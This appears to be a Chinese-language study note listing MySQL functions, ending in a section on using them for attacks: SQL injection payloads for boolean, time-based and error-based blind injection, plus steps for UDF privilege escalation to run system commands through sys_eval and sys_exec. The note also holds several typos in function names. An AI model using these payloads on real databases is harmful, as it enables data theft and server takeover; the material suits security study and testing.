數(shù)學(xué)函數(shù):bin(x) /hex(x) 返回x的二進(jìn)制/十六進(jìn)制編碼
abs(x) x的絕對值
mod(x,y) 求余運算
sqrt(x) 平方根運算
ceil(x) / ceiling(x)
rand() 返回0~1之間的浮點數(shù)
round(x,D) 四舍五入保留D位小數(shù)
sign(x) 返回x的符號
pow(x,y) x的y次冪
exp(x) e的x次冪
floor(x) 返回小于或等于x的最大整數(shù)
count(x) 返回查詢的記錄總數(shù)
sum() 返回計算總和
addate(d,n) 計算起始日期d加上n天的日期
addtime(t,n) 計算t加上n秒的時間
curdate() current_date() 返回當(dāng)前日期
curtime() current_time() 返回當(dāng)前時間
current_timestamp() localtime() now() sysdate() 返回日期和時間
字符串函數(shù):ascii(str) 返回字符串第一個字符的ASCII值

char_langth(str) 統(tǒng)計字符串的字符數(shù)
length(str) 返回str字符串的長度

insert(str,x,y,insert) 將字符串從x開始,y個字符長度替換為字符串insert
lpad(s1,len,s2) 在字符串s1的開始處填充字符串s2,使得長度達(dá)到len
rpad(s1,len,s2) 在字符串s1的結(jié)尾處填充字符串s2,使得長度達(dá)到len
ltrim(s)/rtrim(s) 刪除字符串s的開始/結(jié)尾處的空格
locate(s1,s) 從字符串s中獲取s1的開始位置
position(s1 in s2) 從字符串s中獲取s1開始的位置
left(s,n) 返回字符串s的前n個字符
right(s,n) 返回字符串s的后n個字符
mid(s,n,len),substring(s,n,len),substr(s,n,len) 從n位置字符串s截取len
concat(s1,s2,…) 返回s1,s2連接的字符串
concat_ws(s1,s2,'char'^) 返回可自由添加分隔符的拼接字符串

lcase() lower() 字母小寫轉(zhuǎn)換
ucase(s) upper(s) 字母大寫轉(zhuǎn)換
field() 返回第一個字符串在字符串列表的位置
find_in_set(s1,s2) 返回字符串s1在字符串s2的匹配位置
repeat(s,n) 字符串s重復(fù)n次
reverse(s) 字符串反序
strcmp(s1,s2) 比較字符串s1,s2并返回比較結(jié)果
nullif(exp1,exp2) 比較兩個字符串
formax(x,n) 對數(shù)字x進(jìn)行格式化,將x保留到小數(shù)點后n位(四舍五入)
truncate(x,y) 返回數(shù)值x保留到小數(shù)點后y位的值,(不會四舍五入)
binary(s) 將字符串s轉(zhuǎn)換為二進(jìn)制字符串
特殊函數(shù):connection_id() 返回連接該數(shù)據(jù)庫服務(wù)器 的ID
current_user() sssion_user system_user() user() 返回當(dāng)前用戶名
database() 返回當(dāng)前數(shù)據(jù)庫名
version() 返回數(shù)據(jù)庫的版本號
@@version_compile_os 查看系統(tǒng)架構(gòu)
@@version_compile_machine 查看mysql架構(gòu)
@@datadir 查看數(shù)據(jù)的存儲目錄

函數(shù)的利用姿勢:length函數(shù):判斷長度 select length(database()); count()函數(shù):返回匹配指定條件的行數(shù) union select 1,count(*),3 from user;-- 查看當(dāng)前表的數(shù)量 
mid()函數(shù):用于從字段中提?。ㄒ欢危┳址ú紶?時間/報錯 盲注) and mid(user(),1,1)='r'; and if(mid(user(),1,1)='r',sleep(2),1); and updatexml(1,mid(concat(0x7e,user()),1,5),1) group by語句:結(jié)合聚合函數(shù)使用(報錯注入) and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a) if(1,2,3):時間盲注 select if(1=1,sleep(2),1) MySQL執(zhí)行系統(tǒng)命令system 執(zhí)行格式:mysql> system <linux命令> UDF提權(quán)執(zhí)行系統(tǒng)命令:UDF是MySQL用戶自定義的函數(shù), 要求: plugin目錄具備讀寫權(quán)限
查看系統(tǒng)和MySQL架構(gòu) select @@version_compile_os , @@version_compile_machine ; 
UDF庫需要放在MySQL的plugin文件中 select @@plugin_dir; 

自定義創(chuàng)建函數(shù)語法: create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name'; AGGREGATE 表示聚合函數(shù),系統(tǒng)定義的聚合函數(shù)有:count(),ave(),mn(),sum()
SONAME 表示這個函數(shù)從哪個文件中引入,這個文件一般是動態(tài)鏈接庫,windows是dll,linux是so,并且這個文件再mysql的plugin目錄下;
UDF支持的函數(shù): sys_eval 執(zhí)行任意命令,并返回他的輸出
sys_exec 執(zhí)行任意命令,并返回他的退出代碼
sys_get 獲取環(huán)境變量的值
sys_set 創(chuàng)建環(huán)境變量或更新現(xiàn)有的環(huán)境變量的值
|